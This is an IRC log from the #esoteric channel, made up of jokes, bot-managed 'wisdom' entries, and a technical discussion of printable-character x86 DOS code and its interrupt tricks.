15:50:07 <wob_jonas> you don't read the classics, oerjan
15:52:19 <oerjan> my mind somehow pops up tintin...
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15:53:00 <oerjan> (which i haven't read much)
15:54:47 <wob_jonas> let's MODE #esoteric +b $~j:#esoteric
15:54:49 <oerjan> hm, i've read many of those. but that was >20 years ago.
15:55:42 <wob_jonas> oerjan: it's an extended ban syntax. it means to ban users who aren't banned on #esoteric
15:57:46 * oerjan finds the jules verne novel on wikipedia. not heard of before.
15:58:30 <oerjan> i think that's too obscure even for wisdom.
15:59:40 <HackEgo> augur//augur took no cakes, but he's a linguist.
15:59:50 <boily> yup, definitely too obscure.
16:00:12 <HackEgo> Gregor took forty cakes. He took 40 cakes. That's as many as four tens. And that's terrible.
16:00:48 <oerjan> rdococ: he can do it because he runs HackEgo. well, in theory.
16:02:44 <HackEgo> rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom.
16:07:58 <oerjan> <shachaf> oerjan: `? idealist etc. twh <-- meh
16:08:28 <oerjan> i don't quite see how to turn that template into good wisdoms.
16:11:13 <rdococ> MODE #esoteric +b bool canBan(user) { return !esoteric.banned[user]; }
16:12:22 <wob_jonas> "i think that's too obscure even for wisdom" -- there's such a thing?
16:13:31 <HackEgo> Pineapple is a hybrid species descended from a cultivar of spinach and wild ivy, making it a class 6 vegetable.
16:15:43 <int-e> http://sprunge.us/gLGL <-- the 'bound' instruction isn't as useless as tom7 made it sound, it allows (some) clean system calls.
16:17:46 <int-e> where "clean" means that interrupts are reenabled.
16:18:52 <wob_jonas> int-e: are you sure? because there are many other ways to cause faults, like using address-size override to index past the 64k segment boundary, and some of them you could do even in such a way that when the instruction is restarted it no longer faults (because many DOS syscall like keyboard non-blocking read put the return value in AL),
16:19:00 <wob_jonas> but I think you would end up with interrupts disabled
16:19:10 <wob_jonas> I should read up on the rules of interrupts later
16:19:58 <wob_jonas> int-e: I don't see why it would be different than an illegal opcode fault though, why would one end up with interrupts disabled and the other not
16:20:33 <wob_jonas> int-e: I sent a mail with some questions to tom7 by the way, hopefully he'll clarify on some of the finer points and/or fix errors
16:20:41 <wob_jonas> maybe he'll even improve his program
16:21:05 <int-e> wob_jonas: the point is that the bounds condition can be fixed by the system call. (the AH=0x40h, for example, changes AX).
16:21:34 <int-e> this is not the case for the #UD caused by ARPL.
16:22:02 <wob_jonas> int-e: yes, and the segmentation fault can be fixed too, and I think you can even fix the undefined operation with some syscalls like read that write to arbitrary memory address, though those syscalls might be less useful
16:22:41 <int-e> but basically I wanted to redeem the bound instruction :P
16:22:55 <wob_jonas> int-e: you might be right that the bound is the easiest to fix... let me look up what bound does again
16:23:31 <wob_jonas> (I'll also have to read up what those decimal instructions do)
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16:28:56 <oerjan> `learn Postfridgerators are what we'll use once global warming really takes hold.
16:28:58 <HackEgo> Learned 'postfridgerator': Postfridgerators are what we'll use once global warming really takes hold.
16:30:42 <HackEgo> Fternoon is the time of day when the Danes usually eat their fternooners.
16:31:45 <rdococ> `learn Cofridges are ovens that are disrespectful towards entropy.
16:31:47 <HackEgo> Learned 'cofridge': Cofridges are ovens that are disrespectful towards entropy.
16:34:18 <oerjan> `learn_append cofridge They are useful for preparing ffee.
16:34:20 <HackEgo> Learned 'cofridge': Cofridges are ovens that are disrespectful towards entropy. They are useful for preparing ffee.
16:36:22 <oerjan> hm i'm getting ovens and stoves mixed up
16:37:00 <rdococ> you could substitute ovens for stoves
16:38:12 <rdococ> also, they can be used to cook cofood
16:38:55 <rdococ> "They are useful for copreparing ffee, and for oking cofood."
16:39:05 <oerjan> `slwd cofridge//s,ovens,& or stoves,;s,.$, and oking cofood.,
16:39:07 <HackEgo> cofridge//Cofridges are ovens or stoves that are disrespectful towards entropy. They are useful for preparing ffee and oking cofood.
16:40:17 <oerjan> `slwd cofridge//s,pre,post,
16:40:19 <HackEgo> cofridge//Cofridges are ovens or stoves that are disrespectful towards entropy. They are useful for postparing ffee and oking cofood.
16:40:43 <rdococ> Would cofridges respect coentropy, or would they corespect it?
16:40:53 <rdococ> Depends on the comodel, I cosuppose.
16:41:12 <oerjan> codependency is nasty, i hear
16:41:52 <rdococ> oh, that's just because it's cogood
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17:00:17 <rdococ> `learn Onions are the bullies of the dinner plate. They can make you cry.
17:00:19 <HackEgo> Learned 'onion': Onions are the bullies of the dinner plate. They can make you cry.
17:00:50 <HackEgo> Nothing would have been better than to create this wisdom entry.
17:01:32 <HackEgo> Right is not two wrongs but three lefts.
17:07:03 <rdococ> `le//rn cod//Cod is a fish's favourite fish person shooter.
17:07:05 <HackEgo> Learned 'cod': Cod is a fish's favourite fish person shooter.
17:07:42 <HackEgo> ¯\(°_o)/¯ is a misspelling of ¯\(°_o)/¯
17:19:00 <rdococ> `le//rn glitch//glitch? ¯\(°_o)/¯
17:19:02 <HackEgo> Learned 'glitch': glitch? ¯\(°_o)/¯
17:27:56 <quintopia> oerjan: the tax one mainly. why else would i have said "adjustment"?
17:39:24 <int-e> b_jonas: okay, I can do, in principle, read the CS register, and perform arbitrary long jumps :-)
17:40:25 <int-e> ("in principle" meaning I haven't actually written printable code for that)
17:42:36 <int-e> b_jonas: http://sprunge.us/UBIK has details if you're interested
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17:55:20 <rdococ> We need a new paradigm.
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18:03:27 <oerjan> the paradigm that can be wished for is not the true paradigm.
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18:04:01 <rdococ> I'll have a coparadigm instead
18:11:27 * oerjan doesn't feel like rdococ is getting into the spirit of doom
18:12:01 <oerjan> better, but needs more a's
18:13:01 <int-e> . o O ( how does cooperation look like among category theorists? )
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18:17:41 <wob_jonas> int-e: I'm not too surprised about reading the CS register. But arbitrary long jumps? That sounds interesting
18:17:58 <wob_jonas> Tell that to tom7 too, he'll be more interested than I am
18:18:43 <oerjan> it sounds like int-e has solved the two most awkward issues, at least partially
18:19:37 <oerjan> lack of backward jumps and no normal output?
18:19:55 <oerjan> oh, and maybe the memory size too, with long jumps?
18:20:13 <oerjan> er, available code size
18:21:52 <wob_jonas> oh! overwriting the return address of the syscall on the stack! that sounds so fragile, it will usually work, but not if the BIOS copies those values first
18:22:16 <int-e> the last instruction will be an iret
18:22:24 <int-e> it has no choice :P
18:22:44 <wob_jonas> int-e: but it can be an iret from a different stack, or it can change the stack
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18:23:25 <wob_jonas> but sure, it's not likely, unless it's a DOS that runs in protected mode and runs your code in v86 mode and the interrupt actually goes to protected mode and doesn't use your stack at all, which I imagine dosbox might do
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18:24:30 <wob_jonas> I don't care if DOS can ruin it in theory, it will work in practice
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18:25:14 <wob_jonas> but int-e, does this mean that tom7's original assertion about how the interrupt flag will remain set after an interrupt return is wrong? or am I just misinterpreting what he says?
18:26:18 <int-e> he argues that one cannot safely return (since that will just trigger the #UD again), and there's no other way of restoring the interrupt enabled flag.
18:27:38 <wob_jonas> I thought he meant that the interrupt flag will remain set even if it does return
18:27:56 <wob_jonas> but yes, I was stupid to think that
18:28:56 <wob_jonas> I guess then there might be ways other than the bound to do this, the bound is just one of the most convenient
18:29:50 <wob_jonas> can you directly ask the programmable interrupt controller to send you a single interrupt request?
18:29:53 <int-e> sure, I saw an opportunity and ran with it :)
18:32:58 <wob_jonas> I'm asking because then you could use syscalls other than the ones that change AX or something
18:33:11 <wob_jonas> although at some point using syscalls will become cheating
18:33:25 <wob_jonas> because eventually you'll just write to a file and exec some other program
18:37:38 <wob_jonas> I asked him why his paper lists the table of 32-bit addressing modes. He says that in 16-bit mode, if you use the address size override prefix, then the ModRM byte is interpreted as in 32-byte code. I totally didn't know that!
18:38:03 <wob_jonas> That means you _can_ use segmentation fault this way too, because you can index with EAX even in 16-bit mode, and have the system call modify AL
18:38:19 <wob_jonas> (instead of bound that is, but bound is easier)
18:38:30 <wob_jonas> I'll have to read the intel & amd manuals about this
18:39:29 <int-e> "If I continue working on this (which I admit is unlikely :))"
18:39:46 <wob_jonas> but still, it's good to know what you can do
18:41:23 <int-e> he suggests using "bye" for the bound: bound di,[bx+di+0x65]
18:41:34 <int-e> at least the final one :P
18:41:58 <wob_jonas> int-e: should I paste my mail and his reply?
18:43:35 <wob_jonas> wtf, why does dpaste.com not work?
18:43:44 <HackEgo> "Paste" is a short story by Henry James. Its contents have been cut into pieces and distributed over numerous tin boxes on the World Wide Web, little pearls of wisdom buried among ordinary pastes.
18:43:52 <wob_jonas> do we have an #esoteric,-approved paste wobsite/
18:44:45 <Taneb> I tend to use arin.ga, which I think izabera runs
18:45:12 * int-e tends to use sprunge.us, but of course that one is lossy
18:48:27 <int-e> ...I'll read the raw version.
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19:24:04 <int-e> rdococ: actually I'm less annoyed by the candy colors and more by the black background
19:24:25 <int-e> (with low contrast stripes which somehow are really hard on my eyes)
19:25:25 <rdococ> aw, because I just ate all the candy
19:52:26 <shachaf> I made a small comment on the implementation of |, which apparently some other people made as well.
19:53:08 <HackEgo> 10576:2017-04-02 <rdocöc> le//rn glitch//glitch? \xc2\xaf\\(\xc2\xb0\xe2\x80\x8b_o)/\xc2\xaf \ 10575:2017-04-02 <rdocöc> le//rn cod//Cod is a fish\'s favourite fish person shooter. \ 10574:2017-04-02 <rdocöc> learn Onions are the bullies of the dinner plate. They can make you cry. \ 10573:2017-04-02 <oerjän> slwd cofridge//s,pre,post, \ 105
19:55:35 <shachaf> That's a lot of spam in the history.
19:56:05 * Zarutian starts up the Monte Python sketch 'Spam spam spam...' for shachaf.
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20:00:23 <int-e> heh, "I once transmuted flesh into gold though not entirely on purpose"
20:00:27 <wob_jonas> oh, you mean the implemntation of bitwise or?
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20:10:32 <shachaf> wob_jonas: Yes, he implemented a|b as (a&B)+(a&b) rather than (a&B)^(a&b)
20:10:45 <shachaf> Despite not having an easy implementation of +
20:13:23 <wob_jonas> shachaf: I think his description of how he does the bitwise or was very vague, with no final assembly code shown, but in the end it doesn't matter too much, it's such a minor thing compared to other optim'ions, so I didn't think through what the best impl would be, rather tried to think about other stuff.
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20:24:24 <shachaf> I mean a lowercase b, if that's what you mean.
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22:43:30 <shachaf> Sounds like a good thing to post to your Twitter account.
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23:02:18 <hppavilion[1]> On a more interesting note, I've found a way to make my gef program more efficient
23:02:47 <hppavilion[1]> The program itself runs a lot faster, but doesn't actually do anything
23:03:57 <hppavilion[1]> The thing that makes it better is a separate, long-lived process that keeps running for as long as you like, which means you don't need to constantly wait for the moviepy library to be re-imported and files can be cached for convenience
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23:28:31 <zzo38> Make the Magic: the Gathering card it exiles only spells and abilities that cannot be countered, but if it can countered then it does not affect it.
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23:42:53 <oerjan> <shachaf> oerjan: Neither did I. <-- did what?
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23:43:26 * oerjan swats shapr for ruining his nickname completion -----###
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23:45:25 <shachaf> oerjan: Figure out good wisdoms to make from those words.
23:45:49 <shachaf> That's why I gave the job to the expert.
23:46:01 <shachaf> I forgot he was a lazy expert.
23:48:09 <oerjan> i'm also absent minded, so don't expect me to remember context from hours ago that is nowhere nearby in the logs twh
23:49:27 * int-e plants a memory in oerjan's brain
23:49:45 <oerjan> i have a memory it just has weird selection
23:54:56 <int-e> I was thinking of the term in the way of "Inception", though I have no concrete idea in mind yet...
23:57:20 <oerjan> that's good, as i remember abstract ideas better
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00:18:52 <Jafet> in this channel, everyone is welcome
00:19:27 <shachaf> the only limit is yourself
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02:30:45 <HackEgo> [wiki] [[Binary lambda calculus]] https://esolangs.org/w/index.php?diff=51637&oldid=43479 * Oerjan * (+43) /* External resources */ Wikigone
02:32:38 <oerjan> good grief those typos
02:34:56 <shachaf> I kind of wish HackEgo linked to the page itself rather than the edit.
02:35:18 <shachaf> Most of the time that's what I want to click on.
02:35:30 <fizzie> Why does everyone keep saying that.
02:35:33 <shachaf> I suppose the situation is different for people who aren't morally opposed to editing wiki pages.
02:35:47 * oerjan swats shachaf -----###
02:36:22 <oerjan> fizzie: it would have been nice if the link at least had a prefix that went to the page itself
02:36:36 <oerjan> shachaf: mind you, the edit contains the page hth
02:37:01 <shachaf> > length "https://esolangs.org/wiki/" - length "[[]]"
02:37:27 <shachaf> It would only cost 22 characters (and fewer bytes), unless you had characters that need to be escaped.
02:37:44 <fizzie> The link looks uglier than the title.
02:38:01 <oerjan> you could drop the [wiki] too
02:38:18 <fizzie> Yeah, that's a little superfluous.
02:38:19 <shachaf> oerjan: But then how would people /ignore it?
02:38:36 <shachaf> I suppose there could be another indicator.
02:39:02 <oerjan> although what i was really meaning was the /w/index.php part... why not have the actual page name there. although that might not help you people who click directly on irc links
02:39:44 <shachaf> It could be useful to logreaders.
02:39:53 <shachaf> fizzie: truth is uglier than fiction hth
02:40:00 <HackEgo> 1/3:word salad detector//Our only word salad detectors before fungot proposed bright full speed under the mediterranean guadalope a light sauce impertinent used the best brains of codeine fragments emerge from the red arrow shark-repellant housewife a smattering and yes I said yes I will Yes. \ os//Os is the accusative plural of us. Also
02:40:04 <HackEgo> 2/3:a municipality in Norway. \ thausiblee//A thausiblee is the recipient of a thausible action. \ ramen//拉麵是一種類型的麵條縫製從原始樹木。 \ @messages-loud//@messages-loud @messages-fond / @messages-flood @messages-bond // @messages-lousy @messages-sound / @messages-lost @messages-found // @messages-proud @messages-b
02:40:09 <HackEgo> 3/3:old / @messages-good @messages-gold
02:40:48 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: `cat: not found
02:40:55 <HackEgo> cmd="${1-quote}"; \`^ 5 "$cmd"
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02:41:44 <HackEgo> [[ $# == 2 ]] || { echo "Usage: $0 n cmd" >&2; exit 2; }; for ((i=0; i < $1; i++)); do \` "$2"; done | sport
02:41:44 <HackEgo> [[ $# == 2 ]] || { echo "Usage: $0 n cmd" >&2; exit 2; }; for ((i=0; i < $1; i++)); do \` "$2"; done | sport
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02:42:12 <shachaf> `slwd os//s/Also.*/Alsø a village in Denmark./
02:42:14 <HackEgo> os//Os is the accusative plural of us. Alsø a village in Denmark.
02:43:22 <HackEgo> @messages-loud @messages-fond / @messages-flood @messages-bond // @messages-lousy @messages-sound / @messages-lost @messages-found // @messages-proud @messages-bold / @messages-good @messages-gold
02:44:06 <shachaf> fire that burns hot / night that is not
02:44:12 <shachaf> fire that burns cold / first silver then gold
02:44:19 <oerjan> `slwd os//s,$ Ånd a Norwegian spirit.,
02:44:20 <HackEgo> /bin/sed: -e expression #1, char 29: unterminated `s' command
02:44:32 <oerjan> `slwd os//s,$,Ånd a Norwegian spirit.,
02:44:34 <HackEgo> os//Os is the accusative plural of us. Alsø a village in Denmark.Ånd a Norwegian spirit.
02:44:56 <HackEgo> os//Os is the accusative plural of us. Alsø a village in Denmark. Ånd a Norwegian spirit.
02:45:34 <shachaf> Hmm, or maybe just adding commas.
02:45:48 <shachaf> After the first words of the second and third sentences.
02:46:17 <oerjan> doesn't work for the third i think
02:46:57 <shachaf> At least it's not outright iggrammatical.
02:47:14 <FireFly> both Å and Ö occur as placenames in Sweden
02:47:28 <FireFly> (they are both also words for geographical features)
02:49:02 <oerjan> `learn Ä is a Swedish geographical feature.
02:49:04 <HackEgo> Learned 'Ä': Ä is a Swedish geographical feature.
02:49:39 <HackEgo> 773:2012-10-06 <oerjän> learn England is [EXPUNGED]. \ 769:2012-10-06 <ellioẗt> learn England \ 768:2012-10-06 <oerjän> learn England is a country in southern Britain, with capital Hexham. The people there are all punctuation fascists. ais523 looks after the Turing machines.
02:50:10 <shachaf> `learn England is a conspiracy of cartographers.
02:50:12 <HackEgo> Relearned 'england': England is a conspiracy of cartographers.
02:51:11 <shachaf> oerjan is apparently working for The Man
02:51:17 <shachaf> or perhaps oerjan is The Man
02:59:55 <shachaf> oerjan: Oh, you meant it doesn't work if you interpret the word "Ånd" as the English word "And".
03:00:18 <shachaf> But why would you do that?
03:00:51 <shachaf> i,i Moreover, a subsidiary of LexisNexis.
03:01:33 <oerjan> i thought that was the whole point of Alsø
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04:16:01 <rdococ> btw how is that name pronounced?
04:26:55 <oerjan> https://en.wikipedia.org/wiki/Norwegian_phonology#Accent hth
04:28:26 <oerjan> (my dialect is northern hth)
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06:08:53 <shachaf> oerjan: http://www.smbc-comics.com/comic/a-beer-gut hth
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06:38:29 <erkin> shachaf: I want to merge two puns about IPA but I couldn't find a proper execution.
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11:37:08 <FireFly> oh, I didn't know norwegin had two separate pitches too
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11:50:22 <HackEgo> pidgin//The pidgin hole principle states that if n+1 messages are sent over n protocols, then at least two messages are sent over the same protocol.
11:54:38 <int-e> the signals are very strong tonight
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13:19:36 <HackEgo> [wiki] [[Funciton]] M https://esolangs.org/w/index.php?diff=51638&oldid=51406 * Timwi * (+0) /* Lazy-evaluated sequences */
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14:50:44 <Taneb> Is there a forgetful functor from the category of metric spaces to the category of topological spaces?
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16:57:47 <rdococ> yeah I probably did that wrong
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17:13:23 <int-e> is it a name generator?
17:14:31 <b_jonas> int-e: no, it's just a list of less than 100 character names
17:14:46 <b_jonas> Nute is a real character in Star Wars
17:15:01 <\oren\> Why are they still trying to make Perl 6 happen?
17:15:13 <b_jonas> only the most important characters are included, not the ten thousand characters named in Star Wars universe
17:15:14 <\oren\> It's never going to happen
17:15:26 <b_jonas> \oren\: it's useful as a comparison to show how to make a bad language
17:15:39 <b_jonas> as in, how to make a language that's already designed as bad,
17:15:44 <b_jonas> not just got bad as time passed by it
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18:06:21 <int-e> We also need a new prime example of vaporware now that Duke Nukem Forever is released.
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18:07:22 <int-e> Or should I say Hurd, hmm.
18:08:25 <shapr> I hurd ya the first time
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18:48:39 <Zarutian> does anyone else here remember, 'ride a spider' functionality of AltaVista? does any other search engine have that feature? (Basically you get a stream of urls)
18:49:10 <Zarutian> int-e: whatchamean that Duke Nukem Forever has been released?
18:49:24 <pikhq> It was. It was not Forever.
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18:50:06 <Zarutian> then it has not been released then.
18:50:19 <Zarutian> September 1993 has not ended then.
18:53:20 <Phantom_Hoover> <int-e> We also need a new prime example of vaporware now that Duke Nukem Forever is released.
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18:55:10 <int-e> . o O ( 2011, wow, I didn't think it's been that long. )
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18:56:29 <Phantom_Hoover> SC was supposed to be delivered in 2014; currently the smart money is on it being called finished by 2020 at the earliest
18:57:03 <int-e> annpunced 2012, initial release date 2015... nah it's just not the same
18:57:24 <Phantom_Hoover> i mean it's the DNF of the kickstarter/early access era
18:57:38 <Phantom_Hoover> the 'initial release' is like a fiftieth of the promised game
18:57:48 <int-e> I guess it makes the funding croud quite angry though
18:57:59 <Phantom_Hoover> well that's the thing, at this stage they're still not angry
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18:58:19 <Phantom_Hoover> because they ~mostly think that all the promised content will be released 'when it's done'
18:58:43 <int-e> . o O ( Oh, like Game of Thrones then :-P )
18:59:22 <int-e> And by "Game of Thrones" I mean "A Song of Ice and Fire".
19:00:48 <Phantom_Hoover> whereas SC has gone through about 3 iterations of its core gameplay and they've all been terrible
19:04:14 <hppavilion[0]> A story that both uses and subverts Aliens Speaking English
19:04:54 <zzo38> Describe how a story might both use and subvert, perhaps?
19:05:01 <hppavilion[0]> The Aliens, through some miracle of the universe, aren't on the other side of an unsurmountable chasm of linguistic distinction
19:06:44 <hppavilion[0]> You can understand them and they can understand you PERFECTLY well, assuming you speak Basque
19:06:51 -!- hppavilion[0] has changed nick to hppavilion[1].
19:07:55 <hppavilion[1]> I wonder if that compromises my password enough that I should change it
19:09:31 <Phantom_Hoover> when you can only talk about fiction in terms of tropes and subversions, though, you've read it too much
19:09:39 <int-e> Oh, Thimbleweed Park had a cute $25 pledge level.
19:09:59 <hppavilion[1]> It'd be really interesting, I think, because you'd be able to have easy communication with the Aliens, but not easy, right-out-of-the-box discussion
19:10:23 <hppavilion[1]> (also, it would probably be some arcane variant on Basque, not just a literal usage)
19:10:30 <zzo38> I no longer read tvtropes, but I sometimes read (and also sometimes edit) All The Tropes. Not all the time though; only sometimes (and probably not too much, either)
19:10:47 <zzo38> Yes I like that idea too
19:11:00 <\oren\> What if the aliens are just humans from Atlantic
19:11:42 <hppavilion[1]> If so, what was the Pacific version of Atlantis? Pacifis?
19:11:54 <\oren\> yes, and basque is spoken on the atlantic coast of spain
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19:12:23 <hppavilion[1]> I think Basque would be a good choice, because it's an earthly language, but not an easy one to learn- you can't draw *any* parallels except for maybe some loanwords
19:12:44 <int-e> . o O ( Basque in silence )
19:13:20 <hppavilion[1]> So you'd have to either relearn communication from scratch or find a speaker, which is itself interesting because there aren't a very large number of Basque speakers
19:13:53 <hppavilion[1]> (Cornish is my second choice because it's a dead language that we have record of)
19:14:17 <\oren\> they finally land and the presidents of the world powers are expecting some kind of well, aliens, but they guy gets out and he just looks like a southern european
19:14:46 <\oren\> <what are you looking at?>
19:16:18 <hppavilion[1]> You can even justify Aliens Speaking Basque because you can say that's where we got the language. That's why it isn't related to any others.
19:17:29 <hppavilion[1]> https://en.wikipedia.org/wiki/Black_American_Sign_Language: The AAVE of sign language.
19:17:30 <zzo38> Ah, OK, yes you can make that story with the justify, it make sense
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19:18:50 <hppavilion[1]> They would show up speaking Basque because they're a tiny bit racist and figure that their Master Tung would have spread to the entire population by now because it's so great.
19:18:55 <Taneb> hppavilion[1], I believe Cornish has to some extend been resuccitated.
19:18:56 <rdococ> Consider the possibility that aliens may communicate in a "Starfish Language" where they use methods other than sonar.
19:19:34 <rdococ> For example, aliens could communicate by tapping each other's arms.
19:19:50 <rdococ> Or, if you want to be really gross, through alien saliva.
19:20:28 * rdococ spits out inspirational alien saliva towards everyone
19:20:54 * rdococ excretes a creative pheromone.
19:21:06 <zzo38> Describe the points in the GURPS for defining such thing
19:21:24 -!- hppavilion[1] has changed nick to miracle_max.
19:21:26 <miracle_max> It just so happens that your language is only mostly dead. There's a big difference between mostly dead and all dead. Please open the books. Now, mostly dead is slightly alive. Now, all dead, well, with all dead, there's usually only one thing that you can do.
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19:22:10 <rdococ> Or you can use any number of revival spells in variousgames.
19:22:43 <zzo38> There may be limits of the revival spell in various games
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19:23:03 <zzo38> I think often is not quite good enough to revive dead languages.
19:23:13 <rdococ> You could press the Continue button on the Game Over screen.
19:23:34 <\oren\> or cast ReRaise on it before it dies
19:23:43 * rdococ excretes revival pheromones.
19:24:13 <zzo38> In a computer game yes, although I do not expect that to be good enough to revive dead languages either, only to continue the game with your character no longer dead.
19:24:30 <rdococ> What if your character is the language?
19:24:46 <zzo38> That seem strange, but, maybe the game can be made like that somehow.
19:24:50 <rdococ> "Super English Bros." with French, Italian and German!
19:25:23 <rdococ> Or, it could be a conquer-the-world type of game, but you're a language as opposed to an empire or a deadly plague.
19:25:29 <\oren\> Super Indo-European Bros
19:26:22 <\oren\> rdococ: you can sort of do that in EUIV
19:26:45 <\oren\> in the sense that you can culture-convert your provinces to you lead culture
19:27:14 <\oren\> so if you're muscovy you can make everyone speak Muscovite Russia
19:28:29 <zzo38> Do you like this? https://allthetropes.org/wiki/User:Zzo38
19:30:09 <\oren\> I remember one time I was playing as france and made the English culture extinct
19:30:33 <rdococ> Current English is half French anyway -.-
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19:33:55 <rdococ> I was trying to come up with ideas for a language with some non-English sounds
19:34:01 <rdococ> palatal stop, palatal nasal...
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19:41:52 <\oren\> how about a labial affricate
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19:44:33 <rdococ> How about I make up as many digraphs as possible that equate to the same sound?
19:45:04 <zzo38> If all of the words equate to the same sound then how can you know what you are meaning when you are saying?
19:45:46 <\oren\> also you would do different things with syllable structure
19:46:39 <\oren\> english does sothing along the lines of s?C[rlyw]?V[rlyw]?Cs?
19:47:29 <\oren\> whereas Japanese does CVn?
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19:55:27 <rdococ> CV[D/C]VCV[D/C]V where D refers to any of the various digraphs
19:55:33 <rdococ> and [A/B] is either A or B
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19:59:24 <hppavilion[1]> "In Soviet $country, $permute([$sadj $subj $adv $verb $oadj $obj])"
20:01:08 <rdococ> Anyway, my sentence order will be random, but it will always have two O's.
20:01:23 <rdococ> so SOOV, SOVO, OOVS, OVOS, VOSO, etc. are allowed.
20:01:40 <rdococ> Kinda like set notation for ordered pairs.
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20:08:51 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: tmflry: cannot execute: Is a directory
20:08:58 <HackEgo> I have nothing to tell you.
20:09:00 <HackEgo> I must confess, I know not of what you are speaking.
20:09:09 <HackEgo> sep="//" \ [[ "$1" == ?*"$sep"* ]] || { echo 'Usage: `le/[/]rn <key>//<wisdom>' >&2 ; exit 1; } \ key="$(echo "${1%%$sep*}" | lowercase)" \ value="${1#*$sep}" \ [ -e "wisdom/$key" ] && verb="Relearned" || verb="Learned" \ echo "$value" > "$(echo-p "wisdom/$key")" && echo -n "$verb '$key': $(echo "$value" | sed 's.^[ ].&.')"
20:09:14 <HackEgo> sep="/"; [[ "$0" == *//* ]] && sep="//"; [[ "$1" == ?*"$sep"* ]] || exit 1; key="$(echo "${1%%$sep*}" | lowercase)"; value="${1#*$sep}"; echo "$value" > "$(echo-p "tmflry/$key")" && echo "Was lied to about «$key»"
20:09:25 <HackEgo> https://hackego.esolangs.org/fshg/index.cgi/file/tip/le/rn
20:09:47 <HackEgo> https://hackego.esolangs.org/fshg/index.cgi/file/tip/bin/slashlern
20:10:03 <HackEgo> https://hackego.esolangs.org/tmp/paste/paste.577 \ cat: ../bin/slashlern: No such file or directory
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20:35:05 <HackEgo> Traceback (most recent call last): \ File "/hackenv/bin/airport-lookup", line 20, in <module> \ print '%s (%s, %s)' % (row[1], f(row[4]), f(row[5])) \ IOError: [Errno 32] Broken pipe \ lambdabot: @metar AYGA
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20:40:44 <lambdabot> https://wiki.haskell.org/Lambdabot
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20:56:20 <\oren\> a singleton is an OO zealot saying penance in the form of boilerplate for the sin of using a global
20:57:17 <shachaf> \oren\: One time I had a job interview of some sort where the interviewer kept trying to get me to say "singleton".
20:57:44 <shachaf> And I kept avoiding it and saying global variable or something instead.
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22:27:57 <shapr> I've heard it's good
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22:51:33 <HackEgo> superduperinteressantesandersonnegelegenesdorfmitoderohnesahneistunsdabeiabsolutscheissegal//Superduperinteressantesandersonnegelegenesdorfmitoderohnesahneistunsdabeiabsolutscheissegal is where mroman lives.
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23:13:58 <boily> I got hit by a beep beep sheep.
23:14:16 <boily> is it mondayful on your end?
23:14:32 <quintopia> its fine. sitting in SFO, two hours early.
23:16:04 <boily> https://www.youtube.com/watch?v=CZlfbep2LdU
23:18:49 <lambdabot> echo; msg:IrcMessage {ircMsgServer = "freenode", ircMsgLBName = "lambdabot", ircMsgPrefix = "boily!~alexandre@cable-192.222.245.222.electronicbox.net", ircMsgCommand = "PRIVMSG", ircMsgParams = ["#
23:18:49 <lambdabot> esoteric",":@icao SFO"]} target:#esoteric rest:"SFO"
23:20:16 <quintopia> those poor sheeps their elbows bend backwards ow :(
23:25:39 <lambdabot> LOWI 032220Z AUTO 27004KT 200V310 9999 FEW036 SCT046 BKN050 11/07 Q1021
23:27:04 <int-e> KSFO 032056Z 29015KT 10SM FEW200 19/01 A2999 RMK AO2 SLP155 T01940011 58009 hmm.
23:27:21 <fizzie> `` iata SFO # though you got it right the first time
23:27:22 <HackEgo> San Francisco Intl (SFO, KSFO)
23:27:47 <int-e> that's almost 4 hours old and lambdabot asks for an entry that's no older than 2 hours.
23:28:56 <shachaf> shapr: I think int-e was ambivalent on The Poochness.
23:29:10 <lambdabot> KSFO 032056Z 29015KT 10SM FEW200 19/01 A2999 RMK AO2 SLP155 T01940011 58009
23:29:38 <HackEgo> lambdabot: @@ @@ (@where weather) CYUL ENVA ESSB KOAK PAMR
23:29:41 <lambdabot> No result. \ ENVA 032220Z VRB02KT CAVOK 09/01 Q1013 RMK WIND 670FT 16006KT \ ESSB 032220Z AUTO 15005KT 9999 OVC002/// 01/00 Q1025 \ KOAK 032053Z 23011KT 10SM FEW250 19/06 A2999 RMK AO2 SLP153
23:31:04 <int-e> CYUL 032000Z 10005KT 090V170 30SM FEW180 SCT220 08/M07 A3004 RMK AC1CI4 AC TR SLP176 <-- okay, this one is definitely older than 2 hours.
23:31:31 <lambdabot> KSJC 032053Z 32010KT 10SM FEW100 22/03 A2997 RMK AO2 SLP147 T02220033 58015
23:31:39 <shachaf> life is skittles and life is beer
23:32:05 <HackEgo> Your omnipheasant principal witty arrant knave oerjan the indecisive is a hazy expert in merry compaction. Also a Glaswede who disses Roald Dahl. He could never render the word "amortized" so he put it here for connivance; but lately it's the only word he ever rememes. His arch-nemesis is Betty Crocker. He twice punned without noticing it.
23:32:34 <int-e> but they seem to have some other problem as well
23:32:43 <lambdabot> PAMR 032053Z 02007KT 10SM CLR 04/M06 A2972 RMK AO2 SLP065 T00391056 58034 $
23:33:37 <int-e> "they" being www.aviationweather.gov
23:33:54 <HackEgo> oerjan//Your omnipheasant principal witty arrant knave oerjan the indecisive is a hazy expert in merry compaction. Also a Glaswede who disses Roald Dahl. He could never render the word "amortized" so he put it here for connivance. His arch-nemesis is Betty Crocker. He twice punned without noticing it.
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23:36:53 <shachaf> write a letter to the editwr
23:36:59 <quintopia> boily: https://www.youtube.com/watch?v=g5sgsOPIN5A
23:37:08 <shachaf> I think if anyone is omnipheasant here, it's probably boily.
23:37:43 <\oren\> https://kpopalypse.com/2017/03/11/why-its-not-okay-to-wear-frenchface-ever/ lol
23:38:05 <int-e> you could replace 'ph' by 'pl'
23:38:53 <HackEgo> 10582:2017-04-03 <shachäf> swrjan s/;[^\\.]\\+// \ 10561:2017-03-31 <oerjän> swrjan s/lik/s/ \ 10560:2017-03-31 <oerjän> swrjan s/l/h/;s/cis/decis/;s/can //;s/meme/&s/ \ 10559:2017-03-31 <shachäf> swrjan s.exclu.inci. \ 10558:2017-03-31 <shachäf> swrjan s.rant.arrant knave. \ 10531:2017-03-27 <shachäf> swrjan spresentpleasantp \ 10530:2
23:39:10 <boily> quintopia: I love those guys!
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23:44:14 <boily> time for a mac'n'cheese, because this is the Mac'n'Cheese Week.
23:44:38 <boily> (yes, really. nonsense, but eh, who am I to complain, eh?)
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23:45:30 <shachaf> @tell boily why not make modified mac and cheese? https://www.youtube.com/watch?v=S6AKDODgLwU
